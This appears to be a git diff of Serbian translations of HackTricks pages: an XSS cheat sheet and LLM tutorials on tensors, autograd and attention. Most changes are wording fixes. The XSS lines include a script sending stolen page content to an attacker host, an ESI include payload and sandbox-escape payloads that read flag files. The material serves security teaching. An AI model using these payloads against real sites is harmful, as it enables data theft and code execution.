|
||||||
Poznati protokoli: `mailto://`, `//x:1/`, `ws://`, `wss://`, _prazno Location zaglavlje_, `resource://`.
|
Poznati protokoli: `mailto://`, `//x:1/`, `ws://`, `wss://`, _prazno Location zaglavlje_, `resource://`.
|
||||||
|
|
||||||
### Samo slova, brojevi i tačke
|
### Samo slova, brojevi i tačke
|
||||||
|
@ -859,9 +859,9 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||||
};
|
};
|
||||||
|
|
||||||
```
|
```
|
||||||
### Script Types to XSS
|
### Tipovi skripti za XSS
|
||||||
|
|
||||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Dakle, koji tipovi bi mogli biti označeni za učitavanje skripte?
|
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Dakle, koji tipovi mogu biti označeni za učitavanje skripte?
|
||||||
```html
|
```html
|
||||||
<script type="???"></script>
|
<script type="???"></script>
|
||||||
```
|
```
|
||||||
|
@ -924,7 +924,7 @@ Ovo ponašanje je korišćeno u [**ovoj analizi**](https://github.com/zwade/yaca
|
||||||
* application/rss+xml (isključeno)
|
* application/rss+xml (isključeno)
|
||||||
* application/atom+xml (isključeno)
|
* application/atom+xml (isključeno)
|
||||||
|
|
||||||
U drugim pregledačima drugi **`Content-Types`** mogu se koristiti za izvršavanje proizvoljnog JS, proverite: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
U drugim pregledačima mogu se koristiti drugi **`Content-Types`** za izvršavanje proizvoljnog JS, proverite: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||||
|
|
||||||
### xml Content Type
|
### xml Content Type
|
||||||
|
|
||||||
|
@ -938,11 +938,11 @@ Ako stranica vraća text/xml tip sadržaja, moguće je naznačiti prostor imena
|
||||||
```
|
```
|
||||||
### Posebni obrasci zamene
|
### Posebni obrasci zamene
|
||||||
|
|
||||||
Kada se koristi nešto poput **`"some {{template}} data".replace("{{template}}", <user_input>)`**. Napadač može koristiti [**posebne zamene stringova**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) da pokuša da zaobiđe neke zaštite: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
Kada se koristi nešto poput **`"some {{template}} data".replace("{{template}}", <user_input>)`**, napadač može koristiti [**posebne zamene stringova**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) da pokuša da zaobiđe neke zaštite: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
||||||
|
|
||||||
Na primer, u [**ovoj analizi**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), ovo je korišćeno da se **izbegne JSON string** unutar skripte i izvrši proizvoljan kod.
|
Na primer, u [**ovoj analizi**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), ovo je korišćeno da se **izbegne JSON string** unutar skripte i izvrši proizvoljan kod.
|
||||||
|
|
||||||
### Chrome Cache do XSS
|
### Chrome keš do XSS
|
||||||
|
|
||||||
{% content-ref url="chrome-cache-to-xss.md" %}
|
{% content-ref url="chrome-cache-to-xss.md" %}
|
||||||
[chrome-cache-to-xss.md](chrome-cache-to-xss.md)
|
[chrome-cache-to-xss.md](chrome-cache-to-xss.md)
|
||||||
|
@ -950,7 +950,7 @@ Na primer, u [**ovoj analizi**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA),
|
||||||
|
|
||||||
### XS Jails Escape
|
### XS Jails Escape
|
||||||
|
|
||||||
Ako imate samo ograničen skup karaktera za korišćenje, proverite ova druga validna rešenja za XSJail probleme:
|
Ako imate samo ograničen skup karaktera za korišćenje, proverite ova druga validna rešenja za probleme sa XSJail:
|
||||||
```javascript
|
```javascript
|
||||||
// eval + unescape + regex
|
// eval + unescape + regex
|
||||||
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
|
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
|
||||||
|
@ -981,9 +981,9 @@ constructor(source)()
|
||||||
// For more uses of with go to challenge misc/CaaSio PSE in
|
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||||
```
|
```
|
||||||
Ako je **sve neodređeno** pre izvršavanja nepouzdanog koda (kao u [**ovoj analizi**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), moguće je generisati korisne objekte "iz ničega" kako bi se zloupotrebila izvršavanje proizvoljnog nepouzdanog koda:
|
Ako je **sve neodređeno** pre izvršavanja nepouzdanog koda (kao u [**ovoj analizi**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), moguće je generisati korisne objekte "iz ničega" kako bi se zloupotrebilo izvršavanje proizvoljnog nepouzdanog koda:
|
||||||
|
|
||||||
* Korišćenjem import()
|
* Koristeći import()
|
||||||
```javascript
|
```javascript
|
||||||
// although import "fs" doesn’t work, import('fs') does.
|
// although import "fs" doesn’t work, import('fs') does.
|
||||||
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
|
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||||
|
@ -1004,7 +1004,7 @@ Stoga, ako iz tog modula možemo **pozvati drugu funkciju**, moguće je koristit
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
Na sličan način kao u prethodnom primeru, moguće je **koristiti rukovaoce greškama** da pristupite **omotaču** modula i dobijete **`require`** funkciju:
|
Na sličan način kao u prethodnom primeru, moguće je **koristiti rukovaoce grešaka** da pristupite **omotaču** modula i dobijete **`require`** funkciju:
|
||||||
```javascript
|
```javascript
|
||||||
try {
|
try {
|
||||||
null.f()
|
null.f()
|
||||||
|
@ -1118,7 +1118,7 @@ Naterajte korisnika da se kreće po stranici bez izlaska iz iframe-a i ukradite
|
||||||
Nećete moći da pristupite kolačićima iz JavaScript-a ako je HTTPOnly oznaka postavljena u kolačiću. Ali ovde imate [neke načine da zaobiđete ovu zaštitu](../hacking-with-cookies/#httponly) ako imate sreće.
|
Nećete moći da pristupite kolačićima iz JavaScript-a ako je HTTPOnly oznaka postavljena u kolačiću. Ali ovde imate [neke načine da zaobiđete ovu zaštitu](../hacking-with-cookies/#httponly) ako imate sreće.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Ukrao sadržaj stranice
|
### Ukradi sadržaj stranice
|
||||||
```javascript
|
```javascript
|
||||||
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
|
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
|
||||||
var attacker = "http://10.10.14.8/exfil";
|
var attacker = "http://10.10.14.8/exfil";
|
||||||
|
@ -1131,7 +1131,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
|
||||||
xhr.open('GET', url, true);
|
xhr.open('GET', url, true);
|
||||||
xhr.send(null);
|
xhr.send(null);
|
||||||
```
|
```
|
||||||
### Pronađite interne IP adrese
|
### Pronađi interne IP adrese
|
||||||
```html
|
```html
|
||||||
<script>
|
<script>
|
||||||
var q = []
|
var q = []
|
||||||
|
@ -1309,7 +1309,7 @@ Takođe možete koristiti: [https://xsshunter.com/](https://xsshunter.com)
|
||||||
```
|
```
|
||||||
### Regex - Pristup Skrivenom Sadržaju
|
### Regex - Pristup Skrivenom Sadržaju
|
||||||
|
|
||||||
Iz [**ovog izveštaja**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) moguće je saznati da, čak i ako neki vrednosti nestanu iz JS-a, i dalje je moguće pronaći ih u JS atributima u različitim objektima. Na primer, unos REGEX-a je i dalje moguće pronaći nakon što je vrednost unosa regex-a uklonjena:
|
Iz [**ovog izveštaja**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) moguće je saznati da čak i ako neki vrednosti nestanu iz JS, i dalje je moguće pronaći ih u JS atributima u različitim objektima. Na primer, unos REGEX-a je i dalje moguće pronaći nakon što je vrednost unosa regex-a uklonjena:
|
||||||
```javascript
|
```javascript
|
||||||
// Do regex with flag
|
// Do regex with flag
|
||||||
flag="CTF{FLAG}"
|
flag="CTF{FLAG}"
|
||||||
|
@ -1338,9 +1338,9 @@ Možete li ubrizgati Markdown kod koji će biti renderovan? Možda možete dobit
|
||||||
[xss-in-markdown.md](xss-in-markdown.md)
|
[xss-in-markdown.md](xss-in-markdown.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### XSS u SSRF
|
### XSS do SSRF
|
||||||
|
|
||||||
Imate XSS na **sajtu koji koristi keširanje**? Pokušajte **da to unapredite u SSRF** kroz Edge Side Include Injection sa ovim payload-om:
|
Imate XSS na **sajtu koji koristi keširanje**? Pokušajte **da to unapredite na SSRF** kroz Edge Side Include Injection sa ovim payload-om:
|
||||||
```python
|
```python
|
||||||
<esi:include src="http://yoursite.com/capture" />
|
<esi:include src="http://yoursite.com/capture" />
|
||||||
```
|
```
|
||||||
|
@ -1444,23 +1444,23 @@ Find **više SVG payloads u** [**https://github.com/allanlw/svg-cheatsheet**](ht
|
||||||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_tečno poljski pisano i govorno potrebno_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Učite i vežbajte AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Podržite HackTricks</summary>
|
<summary>Podrška HackTricks</summary>
|
||||||
|
|
||||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite trikove za hakovanje slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -2,7 +2,7 @@
|
||||||
|
|
||||||
## Pretreniranje
|
## Pretreniranje
|
||||||
|
|
||||||
Pretreniranje je osnovna faza u razvoju velikog jezičkog modela (LLM) gde je model izložen ogromnim i raznovrsnim količinama tekstualnih podataka. Tokom ove faze, **LLM uči osnovne strukture, obrasce i nijanse jezika**, uključujući gramatiku, rečnik, sintaksu i kontekstualne odnose. Procesuiranjem ovih opsežnih podataka, model stiče široko razumevanje jezika i opšteg znanja o svetu. Ova sveobuhvatna osnova omogućava LLM-u da generiše koherentan i kontekstualno relevantan tekst. Nakon toga, ovaj prethodno trenirani model može proći kroz fino podešavanje, gde se dodatno obučava na specijalizovanim skupovima podataka kako bi prilagodio svoje sposobnosti za specifične zadatke ili oblasti, poboljšavajući svoju efikasnost i relevantnost u ciljnim aplikacijama.
|
Pretreniranje je osnovna faza u razvoju velikog jezičkog modela (LLM) gde je model izložen ogromnim i raznovrsnim količinama tekstualnih podataka. Tokom ove faze, **LLM uči osnovne strukture, obrasce i nijanse jezika**, uključujući gramatiku, rečnik, sintaksu i kontekstualne odnose. Procesuiranjem ovih opsežnih podataka, model stiče široko razumevanje jezika i opšteg znanja o svetu. Ova sveobuhvatna osnova omogućava LLM-u da generiše koherentan i kontekstualno relevantan tekst. Nakon toga, ovaj prethodno trenirani model može proći kroz fino podešavanje, gde se dodatno obučava na specijalizovanim skupovima podataka kako bi prilagodio svoje sposobnosti za specifične zadatke ili domene, poboljšavajući svoju efikasnost i relevantnost u ciljnim aplikacijama.
|
||||||
|
|
||||||
## Glavne komponente LLM-a
|
## Glavne komponente LLM-a
|
||||||
|
|
||||||
|
@ -41,14 +41,14 @@ U PyTorch-u, **tenzor** je osnovna struktura podataka koja služi kao višedimen
|
||||||
|
|
||||||
### Tenzori kao kontejneri podataka
|
### Tenzori kao kontejneri podataka
|
||||||
|
|
||||||
Iz računarske perspektive, tenzori deluju kao kontejneri za višedimenzionalne podatke, gde svaka dimenzija može predstavljati različite karakteristike ili aspekte podataka. Ovo čini tenzore veoma pogodnim za rukovanje složenim skupovima podataka u zadacima mašinskog učenja.
|
Iz računarskog ugla, tenzori deluju kao kontejneri za višedimenzionalne podatke, gde svaka dimenzija može predstavljati različite karakteristike ili aspekte podataka. Ovo čini tenzore veoma pogodnim za rukovanje složenim skupovima podataka u zadacima mašinskog učenja.
|
||||||
|
|
||||||
### PyTorch tenzori vs. NumPy nizovi
|
### PyTorch tenzori vs. NumPy nizovi
|
||||||
|
|
||||||
Iako su PyTorch tenzori slični NumPy nizovima u svojoj sposobnosti da čuvaju i manipulišu numeričkim podacima, nude dodatne funkcionalnosti koje su ključne za duboko učenje:
|
Iako su PyTorch tenzori slični NumPy nizovima u svojoj sposobnosti da čuvaju i manipulišu numeričkim podacima, nude dodatne funkcionalnosti koje su ključne za duboko učenje:
|
||||||
|
|
||||||
* **Automatska diferencijacija**: PyTorch tenzori podržavaju automatsko izračunavanje gradijenata (autograd), što pojednostavljuje proces izračunavanja derivata potrebnih za obuku neuronskih mreža.
|
* **Automatska diferencijacija**: PyTorch tenzori podržavaju automatsko izračunavanje gradijenata (autograd), što pojednostavljuje proces izračunavanja derivata potrebnih za obuku neuronskih mreža.
|
||||||
* **GPU akceleracija**: Tenzori u PyTorch-u mogu se premestiti i izračunati na GPU-ima, značajno ubrzavajući velike proračune.
|
* **GPU akceleracija**: Tenzori u PyTorch-u mogu se premestiti na i izračunati na GPU-ima, značajno ubrzavajući velike proračune.
|
||||||
|
|
||||||
### Kreiranje tenzora u PyTorch-u
|
### Kreiranje tenzora u PyTorch-u
|
||||||
|
|
||||||
|
@ -89,7 +89,7 @@ print(float_tensor.dtype) # Output: torch.float32
|
||||||
```
|
```
|
||||||
### Uobičajene Tensor Operacije
|
### Uobičajene Tensor Operacije
|
||||||
|
|
||||||
PyTorch pruža razne operacije za manipulaciju tenzorima:
|
PyTorch pruža razne operacije za manipulaciju tensorima:
|
||||||
|
|
||||||
* **Pristupanje Obliku**: Koristite `.shape` da dobijete dimenzije tenzora.
|
* **Pristupanje Obliku**: Koristite `.shape` da dobijete dimenzije tenzora.
|
||||||
|
|
||||||
|
@ -117,12 +117,12 @@ result = tensor2d @ tensor2d.T
|
||||||
Tenzori su ključni u PyTorch-u za izgradnju i obučavanje neuronskih mreža:
|
Tenzori su ključni u PyTorch-u za izgradnju i obučavanje neuronskih mreža:
|
||||||
|
|
||||||
* Čuvaju ulazne podatke, težine i pristrasnosti.
|
* Čuvaju ulazne podatke, težine i pristrasnosti.
|
||||||
* Olakšavaju operacije potrebne za unapred i unazad prolaze u algoritmima obuke.
|
* Olakšavaju operacije potrebne za unapredne i unazadne prolaze u algoritmima obuke.
|
||||||
* Sa autograd-om, tenzori omogućavaju automatsko izračunavanje gradijenata, pojednostavljujući proces optimizacije.
|
* Sa autograd-om, tenzori omogućavaju automatsko izračunavanje gradijenata, pojednostavljujući proces optimizacije.
|
||||||
|
|
||||||
## Automatska Diferencijacija
|
## Automatska Diferencijacija
|
||||||
|
|
||||||
Automatska diferencijacija (AD) je računarska tehnika koja se koristi za **evaluaciju derivata (gradijenata)** funkcija efikasno i tačno. U kontekstu neuronskih mreža, AD omogućava izračunavanje gradijenata potrebnih za **optimizacione algoritme kao što je gradijentni spust**. PyTorch pruža motor automatske diferencijacije pod nazivom **autograd** koji pojednostavljuje ovaj proces.
|
Automatska diferencijacija (AD) je računarska tehnika koja se koristi za **evaluaciju derivata (gradijenata)** funkcija efikasno i tačno. U kontekstu neuronskih mreža, AD omogućava izračunavanje gradijenata potrebnih za **optimizacione algoritme kao što je gradijentni spust**. PyTorch pruža motor automatske diferencijacije nazvan **autograd** koji pojednostavljuje ovaj proces.
|
||||||
|
|
||||||
### Matematičko Objašnjenje Automatske Diferencijacije
|
### Matematičko Objašnjenje Automatske Diferencijacije
|
||||||
|
|
||||||
|
@ -132,7 +132,7 @@ U srcu automatske diferencijacije je **pravilo lanca** iz kalkulusa. Pravilo lan
|
||||||
|
|
||||||
Matematički, ako je `y=f(u)` i `u=g(x)`, tada je derivat `y` u odnosu na `x`:
|
Matematički, ako je `y=f(u)` i `u=g(x)`, tada je derivat `y` u odnosu na `x`:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**2. Računarska Grafika**
|
**2. Računarska Grafika**
|
||||||
|
|
||||||
|
@ -142,7 +142,7 @@ U AD, proračuni su predstavljeni kao čvorovi u **računarskoj grafici**, gde s
|
||||||
|
|
||||||
Razmotrimo jednostavnu funkciju:
|
Razmotrimo jednostavnu funkciju:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Gde:
|
Gde:
|
||||||
|
|
||||||
|
|
|
@ -11,7 +11,7 @@ Za ovo se koristi mnogo slojeva, tako da će mnogo parametara za obuku hvatati o
|
||||||
|
|
||||||
### Razumevanje mehanizama pažnje
|
### Razumevanje mehanizama pažnje
|
||||||
|
|
||||||
U tradicionalnim modelima sekvenca-sekvenca koji se koriste za prevođenje jezika, model kodira ulaznu sekvencu u vektoru konteksta fiksne veličine. Međutim, ovaj pristup se suočava sa problemima sa dugim rečenicama jer fiksni vektor konteksta možda neće uhvatiti sve potrebne informacije. Mehanizmi pažnje rešavaju ovo ograničenje omogućavajući modelu da razmatra sve ulazne tokene prilikom generisanja svakog izlaznog tokena.
|
U tradicionalnim modelima sekvenca-sekvenca koji se koriste za prevođenje jezika, model kodira ulaznu sekvencu u vektorski kontekst fiksne veličine. Međutim, ovaj pristup se suočava sa problemima sa dugim rečenicama jer fiksni vektorski kontekst možda neće uhvatiti sve potrebne informacije. Mehanizmi pažnje rešavaju ovo ograničenje omogućavajući modelu da razmatra sve ulazne tokene prilikom generisanja svakog izlaznog tokena.
|
||||||
|
|
||||||
#### Primer: Mašinsko prevođenje
|
#### Primer: Mašinsko prevođenje
|
||||||
|
|
||||||
|
@ -51,21 +51,21 @@ Za svaku reč u rečenici, izračunajte **rezultat pažnje** u odnosu na "shiny"
|
||||||
|
|
||||||
**Rezultat pažnje između "shiny" i "shiny"**
|
**Rezultat pažnje između "shiny" i "shiny"**
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Rezultat pažnje između "sun" i "shiny"**
|
**Rezultat pažnje između "sun" i "shiny"**
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Korak 2: Normalizacija rezultata pažnje za dobijanje težina pažnje
|
#### Korak 2: Normalizacija rezultata pažnje da bi se dobile težine pažnje
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Ne gubite se u matematičkim terminima, cilj ove funkcije je jednostavan, normalizujte sve težine tako da **ukupno sumiraju 1**.
|
Ne gubite se u matematičkim terminima, cilj ove funkcije je jednostavan, normalizujte sve težine tako da **se ukupno saberu na 1**.
|
||||||
|
|
||||||
Pored toga, **softmax** funkcija se koristi jer naglašava razlike zbog eksponencijalnog dela, olakšavajući prepoznavanje korisnih vrednosti.
|
Pored toga, **softmax** funkcija se koristi jer naglašava razlike zbog eksponencijalnog dela, olakšavajući prepoznavanje korisnih vrednosti.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Primeni **softmax funkciju** na rezultate pažnje kako bi ih pretvorio u težine pažnje koje se sabiraju na 1.
|
Primeni **softmax funkciju** na rezultate pažnje da ih pretvoriš u težine pažnje koje se saberu na 1.
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -73,7 +73,7 @@ Izračunavanje eksponencijala:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (4) (1) (1) (1).png" alt="" width="249"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (4) (1) (1) (1).png" alt="" width="249"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Izračunavanje sume:
|
Izračunavanje zbira:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (5) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (5) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -84,7 +84,7 @@ Izračunavanje težina pažnje:
|
||||||
#### Korak 3: Izračunavanje vektora konteksta
|
#### Korak 3: Izračunavanje vektora konteksta
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Samo uzmite svaku težinu pažnje i pomnožite je sa dimenzijama povezanog tokena, a zatim saberite sve dimenzije da dobijete samo 1 vektor (vektor konteksta) 
|
Samo uzmite svaku težinu pažnje i pomnožite je sa dimenzijama relevantnog tokena, a zatim saberite sve dimenzije da dobijete samo 1 vektor (vektor konteksta) 
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Vektor konteksta** se izračunava kao ponderisana suma umetanja svih reči, koristeći težine pažnje.
|
**Vektor konteksta** se izračunava kao ponderisana suma umetanja svih reči, koristeći težine pažnje.
|
||||||
|
@ -112,7 +112,7 @@ Saberanje ponderisanih umetanja:
|
||||||
### Sažetak procesa
|
### Sažetak procesa
|
||||||
|
|
||||||
1. **Izračunajte rezultate pažnje**: Koristite skalarni proizvod između umetanja ciljne reči i umetanja svih reči u sekvenci.
|
1. **Izračunajte rezultate pažnje**: Koristite skalarni proizvod između umetanja ciljne reči i umetanja svih reči u sekvenci.
|
||||||
2. **Normalizujte rezultate da dobijete težine pažnje**: Primeni softmax funkciju na rezultate pažnje da dobijete težine koje se sabiraju na 1.
|
2. **Normalizujte rezultate da dobijete težine pažnje**: Primeni softmax funkciju na rezultate pažnje da dobijete težine koje se saberu na 1.
|
||||||
3. **Izračunajte vektor konteksta**: Pomnožite umetanje svake reči sa njenom težinom pažnje i saberite rezultate.
|
3. **Izračunajte vektor konteksta**: Pomnožite umetanje svake reči sa njenom težinom pažnje i saberite rezultate.
|
||||||
|
|
||||||
## Samopažnja sa težinama koje se mogu obučavati
|
## Samopažnja sa težinama koje se mogu obučavati
|
||||||
|
@ -179,13 +179,13 @@ Ocena se deli kvadratnim korenom dimenzija jer dot-proizvodi mogu postati veoma
|
||||||
|
|
||||||
#### Step 3: Izračunavanje kontekstualnih vektora
|
#### Step 3: Izračunavanje kontekstualnih vektora
|
||||||
|
|
||||||
Kao u inicijalnom primeru, jednostavno saberite sve matrice vrednosti množeći svaku sa svojom težinom pažnje:
|
Kao u inicijalnom primeru, jednostavno saberite sve vrednosti matrica množeći svaku sa svojom težinom pažnje:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (15).png" alt="" width="328"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (15).png" alt="" width="328"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
### Primer koda
|
### Primer koda
|
||||||
|
|
||||||
Uzimajući primer sa [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb), možete proveriti ovu klasu koja implementira funkcionalnost samopaznje o kojoj smo govorili:
|
Uzimajući primer sa [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) možete proveriti ovu klasu koja implementira funkcionalnost samopaznje o kojoj smo govorili:
|
||||||
```python
|
```python
|
||||||
import torch
|
import torch
|
||||||
|
|
||||||
|
@ -330,7 +330,7 @@ print("context_vecs.shape:", context_vecs.shape)
|
||||||
|
|
||||||
### Primer koda
|
### Primer koda
|
||||||
|
|
||||||
Moguće je ponovo koristiti prethodni kod i samo dodati omotač koji ga pokreće nekoliko puta, ali ovo je optimizovana verzija sa [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) koja obrađuje sve glave u isto vreme (smanjujući broj skupih for petlji). Kao što možete videti u kodu, dimenzije svake oznake su podeljene u različite dimenzije u skladu sa brojem glava. Na ovaj način, ako oznaka ima 8 dimenzija i želimo da koristimo 3 glave, dimenzije će biti podeljene u 2 niza od 4 dimenzije, a svaka glava će koristiti jedan od njih:
|
Moguće je ponovo koristiti prethodni kod i samo dodati omotač koji ga pokreće nekoliko puta, ali ovo je optimizovana verzija sa [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) koja obrađuje sve glave u isto vreme (smanjujući broj skupih for petlji). Kao što možete videti u kodu, dimenzije svake oznake su podeljene u različite dimenzije prema broju glava. Na ovaj način, ako oznaka ima 8 dimenzija i želimo da koristimo 3 glave, dimenzije će biti podeljene u 2 niza od 4 dimenzije, a svaka glava će koristiti jedan od njih:
|
||||||
```python
|
```python
|
||||||
class MultiHeadAttention(nn.Module):
|
class MultiHeadAttention(nn.Module):
|
||||||
